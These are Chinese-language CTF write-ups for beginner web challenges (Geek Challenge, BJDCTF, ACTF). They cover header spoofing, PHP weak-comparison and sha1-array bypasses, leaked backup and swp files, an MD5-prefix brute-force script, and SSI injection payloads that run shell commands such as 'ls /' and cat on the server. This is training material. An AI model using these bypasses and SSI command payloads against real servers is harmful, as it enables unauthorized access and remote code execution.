[極客大挑戰 2019]Havefun
考點:GET請求
解題
1、F12
<?php
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
GET:cat=dog
[極客大挑戰 2020]Roamphp1-Welcome
考點:http協議-請求方式、php函數漏洞
解題
1、進入題目,是一個空白頁面,???POST發包,有驚喜
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}
POST:roam1[]=1&roam2[]=2
搜索關鍵字flag,get flag。
[極客大挑戰 2019]Knife
1、直接連上蟻劍。果真白給的shell。
[極客大挑戰 2019]Http
考點:http協議
知識點:
解題
1、Ctrl+U查看源碼,發現了Secret.php
2、
提示了訪問的網址,用burpsuite添加Referer頭
3、
要求使用Syclover瀏覽器,再添加User-Agent
4、只能本地訪問,添加X-Forwarded-For
[BJDCTF 2nd]假豬套天下第一
考點:http協議
知識點:
解題
1、
2、
按要求把年份time改大
3、
要求本地訪問,偽造IP,添加xff
頭,不行,試了client-ip
可以
4、
要求來自Ying師傅博客的網站,添加Refere
r頭
5、
對瀏覽器有要求,添加user-agent
,(google搜下這個瀏覽器全稱
6、
要求請求的郵箱是root@gem-love.com,添加From
頭
7、
添加Via
頭。
[極客大挑戰 2019]BuyFlag
打開menu下的payflag后,發現一些hint
1、要100000000 money
2、必須是成新的student
3、correct password
在源碼最后的一段發現有用的注釋
1、要post提交money和password,money用科學計數法
2、password要弱等於404,還不能是數字,就利用php弱類型
money=1e10&password=404a
沒啥啊。。。
用burpsuite抓包
發現user值為0,果斷改為1,嘿嘿嘿
[ACTF2020 新生賽]BackupFile(備份文件泄露&php弱類型)
1、用wsacn掃出備份文件index.php.bak
2、
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {//如果$key不是數字,輸出Just num!
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
要求$key是數字,且弱等於123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
測試:
所以,string在和int弱比較時,string會強制轉換為int,刪掉第一個字符及其后面的所有內容,只保留最前面的數字。
key=123就可。
[BJDCTF2020]EasySearch
考點:swp信息泄露、SSI注入
知識點
1、SSI服務端包含注入
解題
1、title是“login”
打開題目,是一個登錄框
挨個嘗試,發現/index.php.swp,存在緩存文件泄露
<?php
ob_start();//打開輸出控制緩沖
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times,例:Hd3$^
$content = uniqid().$random;//例:5fc4dac3cb3a3Hd3$^
return sha1($content); 例:17a07336341affe9c7adcaa9eed61e5fb05c771c
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
分析:password經過md5后前6位字符是6d0bc1
,把那段文本寫入ppublic/".get_hash().".shtml了
2、寫個腳本跑下md5:
import hashlib
def md5(s):
return hashlib.md5(s.encode(encoding='UTF-8')).hexdigest()
for i in range(1000000000):
h = md5(str(i))
if h[0:6] == "6d0bc1":
print(i)
break
3、username沒做要求,隨便寫,password就用跑出來的2020666
訪問返回的文件
4、利用SSI注入漏洞,嘗試在username處執行ssi語句進行RCE
查看根目錄:
<!--#exec cmd="ls /"-->
查看當前目錄:
<!--#exec cmd="ls"-->
目錄穿越:
<!--#exec cmd="ls ../"-->
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->
總結
看到.shtml,就考慮SSI注入